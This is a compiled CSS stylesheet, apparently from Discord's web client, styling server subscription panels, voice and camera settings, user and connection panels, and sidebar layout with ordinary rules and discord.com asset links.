.guildHeaderBackground-Om1xPk { position: absolute; right: 0px; background-size: cover; background-position: 50% center; background-repeat: no-repeat; opacity: 0.4; -webkit-mask: linear-gradient(270deg, rgb(0, 0, 0), transparent); filter: grayscale(100%); width: 300px; height: 100%; }

.guildHeaderContent-1hFgK5 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-flex: 1; flex: 1 1 0%; padding: 16px; }

.guildHeaderContent-1hFgK5, .guildIcon-1UC3eU { align-self: flex-start; }

.guildIcon-1UC3eU { margin: 16px 0px 16px 16px; }

.guildName-3GypFw { overflow: hidden; text-overflow: ellipsis; margin-bottom: 4px; color: var(--interactive-active); }

.guildSubscriberCount-KhylAK { display: flex; -webkit-box-align: center; align-items: center; margin-top: 4px; color: var(--interactive-active); }

.guildSubscriberCountIcon-1l-mnj { width: 12px; height: 12px; color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); margin-right: 2px; }

.guildSubscribeButton-s-VaCv { padding-left: 8px; }

.guildGemIndicatorContainer-3yeuMz { margin: 13px 13px 13px 0px; cursor: pointer; }

.guildSubscriptionSlots-1ez-C8 { padding: 16px; background-color: var(--background-secondary); }

.guildSubscriptionSlot-1ulp0h { display: flex; -webkit-box-align: center; align-items: center; padding: 16px 0px; border-bottom: 1px solid var(--background-modifier-accent); }

.guildSubscriptionSlot-1ulp0h:first-child { padding-top: 0px; }

.guildSubscriptionSlot-1ulp0h:last-child { padding-bottom: 0px; border-bottom: none; }

.guildSubscriptionSlotIcon-2lH9xK { width: 18px; height: 18px; color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); margin-right: 8px; }

.guildSubscriptionSlotIconCanceled-m8iCTW { color: var(--text-warning); }

.guildSubscriptionSlotContent-3bxHS4 { margin-right: auto; }

.guildSubscriptionSlotMenuIcon-23wojh { width: 24px; height: 24px; cursor: pointer; }

.guildSubscriptionDuration-1Wrdtj, .guildSubscriptionSlotMenuIcon-23wojh { color: var(--interactive-normal); }

.guildSubscriptionCreationDate-1eLnx2 { color: var(--interactive-active); }

.sectionHeader-1LZhK7 { font-weight: 700; text-transform: uppercase; }

.subSectionHeader-3yoEci { text-transform: uppercase; margin: 32px 0px 16px; color: var(--header-secondary); }

.theme-dark .guildHeaderBackground-Om1xPk { background-image: url("https://discord.com/assets/2366391afb15ed6c2a019a0c0caa0797.svg"); }

.theme-light .guildHeaderBackground-Om1xPk { background-image: url("https://discord.com/assets/6345e6aced36309efc7fe28a539383ab.svg"); }

.container-ZsrEn9 { -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; box-sizing: border-box; }

.container-ZsrEn9, .loading-3FyPco { display: flex; }

.loading-3FyPco { -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; height: 520px; }

.guildsSection-3AvK09 { border-top: 1px solid var(--background-modifier-accent); margin-bottom: 60px; margin-top: 32px; padding-top: 32px; }

.guildsBlurb-2AgVCC { margin-top: 16px; }

.guilds-3A5wi_ { display: grid; grid-template-rows: auto; grid-template-columns: 50% 50%; grid-template-areas: none; grid-auto-flow: initial; grid-auto-columns: initial; grid-auto-rows: initial; gap: 16px; margin-top: 24px; }

@media (max-width: 1024px) {
  .guilds-3A5wi_ { grid-template-rows: auto; grid-template-columns: 100%; grid-template-areas: none; grid-auto-flow: initial; grid-auto-columns: initial; grid-auto-rows: initial; }
}

.emptyGuilds-14hOr4 { margin: 32px auto 0px; width: 177px; height: 112px; }

.emptyGuildsTitle-VAg42p { color: var(--header-primary); font-weight: 700; text-align: center; margin-top: 16px; }

.emptyGuildsText-2KAlgb { text-align: center; margin-top: 4px; }

.cardWrapper-2Min21 { background: var(--background-tertiary); border-radius: 4px; }

.card-3AyPWq { display: flex; -webkit-box-align: center; align-items: center; cursor: pointer; background-color: transparent; }

.card-3AyPWq:hover { background-color: var(--background-modifier-hover); }

.guildInfo-1zLiSL { margin: 0px 16px; -webkit-box-flex: 1; flex: 1 1 0%; overflow: hidden; }

.guildName-13lmy3, .subscriberCount-3PSK6x { color: var(--header-primary); white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.subscriptionInfo-14cju1 { display: flex; -webkit-box-align: center; align-items: center; margin-top: 8px; }

.premiumGuildIcon-13KUPa { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); width: 12px; height: 12px; margin-right: 4px; }

.background-1PZEsB { position: absolute; inset: 0px; background-repeat: no-repeat; }

.content-3BhRLj { position: relative; }

.divider-J3ken9 { margin: 40px 0px; height: 1px; background-color: var(--background-modifier-accent); }

.marketingLogo-1D8DV6 { display: flex; -webkit-box-align: center; align-items: center; }

.marketingLogoIcon-3bZq9h { color: var(--header-primary); width: 327px; height: 32px; }

.marketingLogoImage-2SzXIR { background-image: url("https://discord.com/assets/4da5a1105f56c7344ec198e25e99ce1b.svg"); width: 95px; height: 60px; margin-left: 24px; }

.marketingHeader-d16BX1 { margin: 8px 0px 16px; }

.featureHeaderTop-1-N6Nb { margin-top: 32px; font-weight: 400; }

.featureHeader-TxFp47 { margin-top: 16px; font-weight: 400; }

.memberBadgeIcon-1hpSQc { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.profileBadgeIcon-_ctnKj { background-image: url("https://discord.com/assets/c7f26927db5e7806790f4e968038630a.svg"); }

.roleIcon-F8XDd3 { color: var(--text-warning); }

.emojiIcon-2xOPMD { color: var(--brand-experiment-400); }

.stickerIcon-8Kieoz { color: hsl(272,calc(var(--saturation-factor, 1)*100%),80.2%); height: 24px; width: 24px; }

.audioQualityIcon-1KNkhv { color: hsl(206,calc(var(--saturation-factor, 1)*67%),51%); }

.uploadSizeIcon-2HNa5p { color: hsl(305,calc(var(--saturation-factor, 1)*100%),75%); }

.customizationIcon-16EQx9 { color: var(--text-warning); }

.threadIcon-3hHxmZ { color: hsl(164,calc(var(--saturation-factor, 1)*55.1%),69.4%); }

.guildSubscriptionHeading-mJn036 { max-width: none; text-align: left; }

.guildFullFeatures-hLeUPO { margin-top: 24px; }

.repositioningMarketingLogo-LcLtJ_ { color: var(--header-primary); }

.theme-dark .emptyGuilds-14hOr4 { background-image: url("https://discord.com/assets/9eccd9710a1b3c2b7127bc1ab191a423.svg"); }

.theme-light .emptyGuilds-14hOr4 { background-image: url("https://discord.com/assets/293d215cc67a256ed2ef775e28922b3a.svg"); }

.list-1QISSx { list-style-type: disc; margin-left: 30px; }

.list-1QISSx li, .status-1pzkam { margin-bottom: 8px; }

.card-KeAWkA { padding: 20px; margin-bottom: 20px; }

.requestNote-2SdnVH strong { font-weight: 700; }

.theme-dark .requestNoteColor-1c4OfD, .theme-light .requestNoteColor-1c4OfD { color: rgb(114, 118, 125); }

@media (max-width: 900px) {
  .container-1-STTv .noticeIcon-1phvR2 { display: none; }
}

.wrapper-3Z-vWm { width: 100%; height: 20px; }

.container-3PXSwK { position: relative; display: flex; height: 100%; overflow: hidden; }

.notches-1sAcEM, .progress-1IcQ3A { position: absolute; inset: 0px; }

.notches-1sAcEM { background-repeat: repeat-x; }

.theme-dark .progress-1IcQ3A { background-color: rgb(114, 118, 125); }

.theme-dark .notches-1sAcEM.black-1D3qCv { background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg height='20' width='8' xmlns='http://www.w3.org/2000/svg' fill='hsl(225, 7.7%25, 10.2%25)'%3E%3Cpath d='M0 0h8v20H0zm4 2a2 2 0 00-2 2v12a2 2 0 104 0V4a2 2 0 00-2-2z' fill-rule='evenodd'/%3E%3C/svg%3E"); }

.theme-dark .notches-1sAcEM.gray-3_LNYR { background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg height='20' width='8' xmlns='http://www.w3.org/2000/svg' fill='hsl(220, 7.7%25, 22.9%25)'%3E%3Cpath d='M0 0h8v20H0zm4 2a2 2 0 00-2 2v12a2 2 0 104 0V4a2 2 0 00-2-2z' fill-rule='evenodd'/%3E%3C/svg%3E"); }

.theme-light .progress-1IcQ3A { background-color: rgb(220, 221, 222); }

.theme-light .notches-1sAcEM { background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg height='20' width='8' xmlns='http://www.w3.org/2000/svg' fill='hsl(0, 0%25, 100%25)'%3E%3Cpath d='M0 0h8v20H0zm4 2a2 2 0 00-2 2v12a2 2 0 104 0V4a2 2 0 00-2-2z' fill-rule='evenodd'/%3E%3C/svg%3E"); }

.micTest-2C-tpt { position: relative; }

.micTestCaption-2xsa4I { font-size: 12px; line-height: 16px; position: absolute; top: 27px; left: 100px; }

.cameraWrapper-2n3EKe { background-color: var(--background-secondary); border: 1px solid var(--background-tertiary); border-radius: 4px; width: 100%; min-height: 220px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.previewImage-1QxuzE { margin-bottom: 24px; height: 101px; width: 166px; background-size: 100%; }

.theme-dark .previewImage-1QxuzE { background-image: url("https://discord.com/assets/ca9e397003df8b46709315d7a248c7de.svg"); }

.theme-light .previewImage-1QxuzE { background-image: url("https://discord.com/assets/4f1b647aa3292d7d0c30658b659ed9f3.svg"); }

.userSettingsVoice-iwdUCU .sensitivity-3XxR4A { min-height: 120px; }

.userSettingsVoice-iwdUCU .sliderBar-3DezvM.speaking-2bFhO4 { background-color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }

.userSettingsVoice-iwdUCU .inputSensitivityToggle-2LKb8o .sliderBar-3DezvM { transition: background-color 0.2s linear 0s; }

.userSettingsVoice-iwdUCU .inputSensitivityToggle-2LKb8o.manual-36Evg9 .microphone-2rtdHw { position: absolute; top: 16px; width: 100%; }

.userSettingsVoice-iwdUCU .inputSensitivityToggle-2LKb8o.manual-36Evg9 .microphone-2rtdHw .fill-3eUagR { transition: width 35ms ease 0s; height: 100%; background-color: rgba(0, 0, 0, 0.25); }

.userSettingsVoice-iwdUCU .pttTools-1VaVZH { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.userSettingsVoice-iwdUCU .pttTools-1VaVZH > div { -webkit-box-flex: 0; flex: 0 0 auto; }

.userSettingsVoice-iwdUCU .pttToolsMessage-3uc-Td { margin-top: 28px; }

.userSettingsVoice-iwdUCU .pttToolsMessage-3uc-Td.pttToolsWarning-7imHBv, .userSettingsVoice-iwdUCU .pttToolsMessage-3uc-Td.pttToolsWarning-7imHBv a { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.userSettingsVoice-iwdUCU .pttToolsMessage-3uc-Td.pttToolsWarning-7imHBv a { font-weight: 700; }

.userSettingsVoice-iwdUCU .inputDisabledWarning-3vvc9B, .userSettingsVoice-iwdUCU .inputDisabledWarning-3vvc9B a { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.userSettingsVoice-iwdUCU .inputDisabledWarning-3vvc9B a { font-weight: 700; }

.userSettingsVoice-iwdUCU .previewContainer-37c2Si { position: relative; overflow: hidden; height: 180px; width: 320px; }

.userSettingsVoice-iwdUCU .media-engine-video { background-color: rgb(0, 0, 0); border-radius: 3px; transform: scaleX(-1); object-fit: cover; }

.userSettingsVoice-iwdUCU .previewOverlay-2O7_KC { border-radius: 3px; border-style: solid; border-width: 1px; width: 320px; height: 180px; position: absolute; inset: 0px; }

.userSettingsVoice-iwdUCU .previewOverlay-2O7_KC.dismiss-3tPbRc { transform: scale(2); transition: transform 0.4s ease-in 0s, background-color 0.4s ease-in 0s, -webkit-transform 0.4s ease-in 0s; }

.userSettingsVoice-iwdUCU .previewOverlay-2O7_KC .previewOverlayInner-1WXURq.dismiss-3tPbRc { opacity: 0; transition: opacity 0.1s ease-in 0s; }

.deviceOption-o4yLlI { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; overflow: hidden; }

.deviceOptionLabel-22FM_u { -webkit-box-flex: 1; flex: 1 1 0%; margin-right: 8px; }

.deviceOptionCertified-38nQb8 { width: 84px; height: 20px; flex-shrink: 0; }

.micTest-cP1_6S { margin-bottom: 16px; }

.micTestHelpLink-2tQuwD { margin-left: 4px; }

.micTestButton-2Vwk4_ { width: 90px; padding: 0px 4px; flex-shrink: 0; margin-right: 8px; }

.Select-value-label .deviceOptionLabel-22FM_u { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; margin-right: 20px; }

.Select-value-label .deviceOptionCertified-38nQb8 { margin-right: 20px; }

.theme-light .userSettingsVoice-iwdUCU .inputSensitivityToggle-2LKb8o.manual-36Evg9 .microphone-2rtdHw { background-color: transparent; }

.theme-light .userSettingsVoice-iwdUCU .previewOverlay-2O7_KC { background-color: rgb(246, 246, 247); border-color: rgb(220, 221, 222); }

.theme-light .userSettingsVoice-iwdUCU .previewOverlay-2O7_KC.dismiss-3tPbRc { background-color: transparent; }

.beta-1WAFgA { color: var(--header-secondary); font-size: 12px; text-transform: uppercase; margin-left: 2px; }

.theme-dark .userSettingsVoice-iwdUCU .inputSensitivityToggle-2LKb8o.manual-36Evg9 .microphone-2rtdHw { background-color: transparent; }

.theme-dark .userSettingsVoice-iwdUCU .previewOverlay-2O7_KC { background-color: rgb(47, 49, 54); border-color: rgb(32, 34, 37); }

.theme-dark .userSettingsVoice-iwdUCU .previewOverlay-2O7_KC.dismiss-3tPbRc { background-color: transparent; }

.cameraPreviewTitle-SRug3t { display: flex; -webkit-box-align: center; align-items: center; }

.newBadge-3xYUxG { margin-left: 8px; text-transform: uppercase; }

.container-1S6Mlq { display: flex; -webkit-box-align: center; align-items: center; border-radius: 4px; padding: 4px; margin: 4px 2px; background-color: var(--background-tertiary); }

.input-1lKksk { -webkit-box-flex: 1; flex: 1 1 0%; box-sizing: border-box; min-width: 48px; height: 20px; padding: 2px 4px; color: var(--text-normal); background: transparent; border: none; resize: none; appearance: none; font-size: 14px; font-weight: 500; line-height: 20px; }

.input-1lKksk::-webkit-input-placeholder { color: var(--text-muted); opacity: 1; }

.iconContainer-gnSl8w { position: relative; margin-right: 3px; }

.icon-1T3XuV, .iconContainer-gnSl8w { height: 18px; width: 18px; }

.iconClickable-3ZfMci { cursor: pointer; }

.button-14-BFJ { line-height: 0; width: 32px; height: 32px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; border-radius: 4px; position: relative; color: var(--interactive-normal); }

.button-14-BFJ.enabled-2cQ-u7:hover { color: var(--interactive-hover); background-color: var(--background-modifier-selected); }

.button-14-BFJ.disabled-2iW-fm { opacity: 0.4; }

.subtext-3CDbHg { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; color: var(--header-secondary); line-height: 13px; }

.title-eS5yk3 { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; color: var(--header-primary); line-height: 18px; font-weight: 600; }

.container-3baos1 { height: 52px; font-size: 14px; font-weight: 500; display: flex; -webkit-box-align: center; align-items: center; padding: 0px 8px; margin-bottom: 1px; }

.container-3baos1, .container-3baos1 .avatar-SmRMf2 { flex-shrink: 0; }

.container-3baos1 .avatar-SmRMf2 { cursor: pointer; }

.container-3baos1 .avatar-SmRMf2:hover { opacity: 0.8; }

.container-3baos1 .redIcon-2uP7Ej { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.avatarWrapper-2yR4wp { margin-right: 8px; }

.nameTag-3uD-yy { user-select: text; -webkit-box-flex: 1; flex-grow: 1; margin-right: 4px; min-width: 0px; }

.nameTag-3uD-yy.canCopy-2VBT7N { cursor: pointer; }

.hasBuildOverride-dDIqaT { position: absolute; bottom: 0px; right: 0px; border-radius: 50%; }

.buildOverrideButton-1zWkwo { position: relative; }

.usernameContainer-1fp4nu { display: flex; -webkit-box-align: center; align-items: center; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.copySuccess-2x83fA { user-select: none; }

.copySuccess-2x83fA.godlike-2WYNj- { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.statusTooltip-Zz6T1q { display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; }

.customStatus-3tC2ig { overflow: hidden; text-overflow: ellipsis; }

.strikethrough-1n4ekb { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.emoji-1PSQtY { width: 14px; height: 14px; margin-right: 4px; }

.icon-3Oovq9 { position: relative; flex-shrink: 0; text-transform: uppercase; text-align: center; line-height: 34px; width: 32px; height: 32px; border-radius: 3px; font-weight: 700; color: rgb(255, 255, 255); }

.badge-1JXQev { position: absolute; bottom: -4px; right: -4px; width: 14px; height: 14px; padding: 2px; background-color: var(--background-secondary-alt); color: var(--header-primary); border-radius: 50%; }

.panel-24C3ux { padding: 8px; border-bottom: 1px solid var(--background-modifier-accent); -webkit-box-flex: 0; flex: 0 0 auto; }

.body-GmmuPm { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; }

.liveBadge-yuNuMC { position: absolute; bottom: -4px; right: -4px; width: 14px; height: 14px; padding: 2px; background-color: var(--background-secondary-alt); color: var(--header-primary); border-radius: 50%; }

.gameWrapper-1jIQAX { display: flex; -webkit-box-align: center; align-items: center; min-width: 0px; }

.gameWrapper-1jIQAX .liveIndicator-3ALYHg { padding: 0px 4px; }

.clickableGameWrapper-2fpjdx { cursor: pointer; }

.gameIconWrapper-1YByCI { position: relative; }

.gameIcon-2YB8Et { width: 32px; height: 32px; }

.info-WdNIDE { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-left: 8px; }

.clickableGameWrapper-2fpjdx:hover .gameName-13va7o { color: var(--interactive-active); }

.actions-aUdUfC { margin-left: 4px; -webkit-box-flex: 0; flex-grow: 0; -webkit-box-align: center; align-items: center; display: flex; }

.userList-1kLH8B { position: relative; border: 1px solid; min-width: 250px; border-radius: 3px; }

.userList-1kLH8B::before { content: ""; width: 8px; height: 8px; position: absolute; top: 100%; left: 50%; margin-left: -8px; transform: translate3d(4px, -4px, 0px) rotate(45deg); border: 1px solid; box-shadow: rgba(0, 0, 0, 0.2) 2px 2px 4px; }

.header-2B7Ri8 { font-weight: 600; text-transform: uppercase; text-align: center; padding: 12px; }

.content-2KAjC9 { max-height: 260px; }

.user-3rmWHs { padding: 10px; }

.discriminator-1fGEDN, .user-3rmWHs { }

.tag-2S-Z1b { margin-left: 8px; }

.avatar-2snyZH { width: 20px !important; height: 20px !important; }

.theme-dark .userList-1kLH8B { border-color: rgb(32, 34, 37); }

.theme-dark .userList-1kLH8B::before { background-color: rgb(47, 49, 54); border-color: transparent rgb(32, 34, 37) rgb(32, 34, 37) transparent; }

.theme-dark .header-2B7Ri8 { background-color: rgb(32, 34, 37); color: rgb(255, 255, 255); }

.theme-dark .content-2KAjC9 { background-color: rgb(47, 49, 54); }

.theme-dark .username-2lEtrk { color: rgb(220, 221, 222); }

.theme-dark .discriminator-1fGEDN { color: rgb(114, 118, 125); }

.theme-light .userList-1kLH8B { border-color: rgb(246, 246, 247); }

.theme-light .userList-1kLH8B::before { background-color: rgb(255, 255, 255); border-color: transparent rgb(246, 246, 247) rgb(246, 246, 247) transparent; }

.theme-light .header-2B7Ri8 { background-color: rgb(246, 246, 247); color: rgb(79, 84, 92); }

.theme-light .content-2KAjC9 { background-color: rgb(255, 255, 255); }

.theme-light .username-2lEtrk { color: rgb(79, 84, 92); }

.theme-light .discriminator-1fGEDN { color: rgb(185, 187, 190); }

.listeningAlong-30wH70 { display: flex; -webkit-box-align: center; align-items: center; width: 100%; box-sizing: border-box; border-bottom: 1px solid var(--background-modifier-accent); padding: 8px; flex-shrink: 0; }

.party-2cIOyb { margin-left: 8px; }

.overflow-1VTquN { cursor: pointer; }

.icons-2uekgw { display: flex; margin-left: 4px; }

.avatar-2fD4wn { cursor: pointer; width: 20px !important; height: 20px !important; }

.container-2x5lvQ { width: 250px; border-radius: 4px; box-shadow: var(--elevation-high); background: var(--background-floating); }

.section-5co3nR { padding: 16px; }

.canvas-3Am7md { margin-bottom: 8px; padding-bottom: 2px; background-color: var(--background-secondary); width: 218px; height: 80px; }

.separator-3b3iL_ { margin: 16px 0px; border-right: none; border-bottom: none; border-left: none; border-image: initial; border-top: 1px solid var(--background-modifier-accent); }

.popoutText-2EBoRH { color: var(--text-normal); font-size: 14px; line-height: 18px; user-select: text; }

.popoutText-2EBoRH strong { font-weight: 700; }

.popoutText-2EBoRH.popoutTextDetails-28SBcB { color: var(--text-muted); margin-top: 8px; }

.popoutBottom-31rU82 { display: flex; }

.debugButton-1Zec0y { font-size: 12px; cursor: pointer; font-weight: 500; color: var(--text-link); text-decoration: none; }

.debugButton-1Zec0y:hover { text-decoration: underline; }

.secured-1Yihly { font-size: 12px; font-weight: 500; -webkit-box-flex: 1; flex: 1 1 0%; color: var(--text-positive); }

.secured-1Yihly::before { content: " "; background: url("https://discord.com/assets/ba428dbc5e363a60a0038484863d0659.svg") 50% center / 9px 12px no-repeat; width: 9px; height: 12px; display: inline-block; margin-right: 4px; vertical-align: bottom; }

.ping-2NgC8E { width: 16px; height: 16px; display: block; margin-right: 4px; margin-left: 0px; -webkit-box-flex: 0; flex: 0 0 auto; color: var(--text-muted); }

.ping-2NgC8E.smallPing-R4na2o { width: 14px; height: 14px; }

.rtcConnectionStatus-2-jIsi { display: flex; -webkit-box-align: center; align-items: center; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; padding-bottom: 2px; }

.rtcConnectionStatusLabel-1wk4tH { font-weight: 600; }

.rtcConnectionStatusConnected-VRZDjy { color: var(--text-positive); }

.rtcConnectionStatusConnecting-3322Pa { color: var(--text-warning); }

.rtcConnectionStatusError-2hLzrL { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.rtcConnectionQualityFine-2J6i8z .pingForeground-2uAOZ3 { color: var(--text-positive); }

.rtcConnectionQualityAverage-3KV0u- .pingForeground-2uAOZ3:not(:last-child) { color: var(--text-warning); }

.rtcConnectionQualityBad-1J7mUU .pingForeground-2uAOZ3:first-child { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.labelWrapper-Pniq53 { overflow: hidden; }

.scroller-2n3G0k { margin-left: -3px; margin-right: -7px; padding: 4px 0px 4px 4px; min-height: 24px; max-height: 132px; }

.scroller-2n3G0k.expanded-1DTre4 { margin-bottom: 4px; }

.voiceUsers-2V7vuh { display: grid; grid-template-columns: repeat(8, 24px); gap: 4px; box-sizing: border-box; width: 100%; }

.expandButton-2hkuXA { grid-area: 1 / 8 / auto / auto; }

.avatarContainer-2LLZwy { border-radius: 50%; overflow: hidden; }

.avatar-3Heyg_ { display: block; width: 24px; height: 24px; background-size: 100%; border-radius: 50%; cursor: pointer; }

.speaking-3dBKhR { box-shadow: inset 0 0 0 2px hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%),inset 0 0 0 3px var(--background-secondary); }

.avatarIconOverlay-2nbU5G { padding: 4px; background-color: rgba(0, 0, 0, 0.3); color: rgb(255, 255, 255); }

.avatarIconRed-2sn-Up { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.container-1giJp5 { color: var(--header-primary); font-size: 14px; font-weight: 500; padding: 8px; flex-shrink: 0; border-bottom: 1px solid var(--background-modifier-accent); }

.inner-tyMogq { -webkit-box-flex: 1; flex: 1 1 0%; min-width: 0px; }

.channel-1TmDQ6:hover { text-decoration: underline; }

.statusWithPopout-3ZfFol { cursor: pointer; }

.statusWithPopout-3ZfFol:hover { text-decoration: underline; }

.hotspot-2bOhC8 { position: absolute; top: 1px; right: 1px; }

.customStatusContainer-3MngWi { position: relative; }

.noiseCancellationPopout-iRK2A0 { background: var(--background-floating); box-shadow: var(--elevation-high); width: 239px; border-radius: 4px; padding: 16px; }

.noiseCancellationTooltip-h4yuQJ { max-width: 150px; text-align: center; }

.krispLogo-a9msDI { width: 44px; height: 20px; background-size: contain; background-repeat: no-repeat; background-position: 50% center; }

.krispLink-2mtfLU { font-size: 14px; }

.micTestButton-m2rQFo { width: 60px; padding: 0px 4px; flex-shrink: 0; margin-right: 8px; }

.beta-27QNCS { color: var(--header-secondary); font-size: 12px; text-transform: uppercase; margin-left: 2px; }

.connection-3KRENF, .voiceUsers-YsH5Db { padding-bottom: 4px; }

.voiceUsers-YsH5Db { padding-top: 2px; }

.actionButtons-14eAc_ { display: grid; grid-template-columns: repeat(auto-fit, minmax(0px, 1fr)); gap: 8px; padding-top: 4px; -webkit-box-pack: justify; justify-content: space-between; }

.button-1YfofB.buttonColor-7qQbGO, .button-1YfofB .buttonColor-7qQbGO { background-color: var(--background-primary); color: var(--interactive-active); }

.button-1YfofB.buttonColor-7qQbGO:hover, .button-1YfofB .buttonColor-7qQbGO:hover { background-color: var(--background-secondary); }

.button-1YfofB.buttonColor-7qQbGO.buttonActive-3FrkXp, .button-1YfofB .buttonColor-7qQbGO.buttonActive-3FrkXp { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); color: rgb(255, 255, 255); }

.button-1YfofB.buttonColor-7qQbGO.buttonActive-3FrkXp:hover, .button-1YfofB .buttonColor-7qQbGO.buttonActive-3FrkXp:hover { background-color: hsl(139,calc(var(--saturation-factor, 1)*51.6%),52.2%); }

.button-1YfofB.buttonColor-7qQbGO.fauxDisabled-2ik0Vw, .button-1YfofB .buttonColor-7qQbGO.fauxDisabled-2ik0Vw, .button-1YfofB.buttonColor-7qQbGO:disabled, .button-1YfofB .buttonColor-7qQbGO:disabled { background-color: var(--background-primary); color: var(--interactive-active); opacity: 0.3; }

.buttonIcon-Od8mYw { width: 20px; height: 20px; }

.buttonIcon-Od8mYw.withText-10pQhr { margin-right: 8px; flex-shrink: 0; }

.voicePanelIntroductionHeader-1R3enj, .voicePanelIntroductionText-ruw2P6 { text-align: center; }

.voicePanelIntroductionHeader-1R3enj { color: var(--header-primary); }

.voicePanelIntroductionText-ruw2P6 { margin-top: 4px; font-weight: 400; color: var(--header-secondary); }

.voicePanelIntroductionButton-LMjabZ { margin: 16px auto 0px; width: 100%; }

.voicePanelIntroductionWrapper-jPLJ0T { max-width: 280px; padding: 16px; background-color: rgb(255, 255, 255); border-radius: 4px; box-shadow: var(--elevation-high); }

.voicePanelIntroductionWrapper-jPLJ0T::after { content: " "; position: absolute; top: 100%; left: 50%; margin-left: -8px; border-width: 8px; border-style: solid; border-color: rgb(255, 255, 255) transparent transparent; border-image: initial; }

.wrapper-24pKcD { position: relative; overflow: visible; }

.viewAsRolesWarning-11eD70 { position: absolute; bottom: 96px; left: 6px; z-index: 1000; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; text-align: center; border-radius: 4px; background-color: var(--background-floating); padding: 16px; max-width: 196px; }

.viewAsRolesWarning-11eD70 .viewAsRolesWarningText-2rok0U { margin-bottom: 16px; }

.viewAsRolesWarning-11eD70 .viewAsRolesWarningButton-2LQjqD { padding: 8px 16px; }

.theme-light .krispLogo-a9msDI { background-image: url("https://discord.com/assets/23e073eb0ee21f94de11e5d0a7eec50e.svg"); }

.theme-dark .krispLogo-a9msDI { background-image: url("https://discord.com/assets/f69210154879227d0ede0308465cf388.svg"); }

.container-2lgZY8 { position: relative; overflow: hidden; width: 100%; height: 100%; display: flex; }

.downloadProgressCircle-2hBlsA { width: 24px; height: 24px; opacity: 1; transition: opacity 0.2s ease 0s; }

.guilds-1SWlCJ { position: relative; width: 72px; flex-shrink: 0; }

.base-3dtUhz { flex-direction: column; position: relative; -webkit-box-flex: 1; flex-grow: 1; }

.base-3dtUhz, .sidebar-2K8pFh { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; overflow: hidden; }

.sidebar-2K8pFh { flex-direction: column; min-height: 0px; width: 240px; -webkit-box-flex: 0; flex: 0 0 auto; background: var(--background-secondary); }

.sidebar-2K8pFh.hidden-3iamF5 { width: 0px; visibility: hidden; }

.platform-win .sidebar-2K8pFh { border-radius: 8px 0px 0px; overflow: hidden; }

.sidebar-2K8pFh.hasNotice-1XRy4h, .platform-win .sidebar-2K8pFh.hasNotice-1XRy4h { border-radius: 0px; }

.panels-j1Uci_ { -webkit-box-flex: 0; flex: 0 0 auto; background-color: var(--background-secondary-alt); z-index: 1; }

.content-98HsJk { display: flex; -webkit-box-align: stretch; align-items: stretch; -webkit-box-pack: start; justify-content: flex-start; min-width: 0px; min-height: 0px; -webkit-box-flex: 1; flex: 1 1 auto; }

.activityPanel-28dQGo { border-bottom: 1px solid var(--background-modifier-accent); }

@media (max-width: 760px) {
  .hiddenOnMobileStore-1DIxbw { display: none; }
}

.root-3JVdIJ { border-radius: 8px; padding: 16px; background: var(--background-floating); box-shadow: var(--elevation-high); min-width: 232px; position: relative; box-sizing: border-box; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-direction: normal; flex-direction: column; }

.root-3JVdIJ, .root-3JVdIJ.previewCamera-3PmGhD { -webkit-box-orient: vertical; }

.root-3JVdIJ.previewCamera-3PmGhD { -webkit-box-direction: reverse; flex-direction: column-reverse; overflow: hidden; }

.previewRoot-14s8Ig { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background: var(--background-secondary-alt); }

.preview-376i63, .preview-376i63::after, .previewRoot-14s8Ig { position: absolute; inset: 0px; }

.preview-376i63::after { content: ""; background: linear-gradient(rgb(24, 25, 28), transparent 84px, transparent 183px, rgb(24, 25, 28)); }

.mainChannelInfo-1vd795 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; max-width: 100%; }

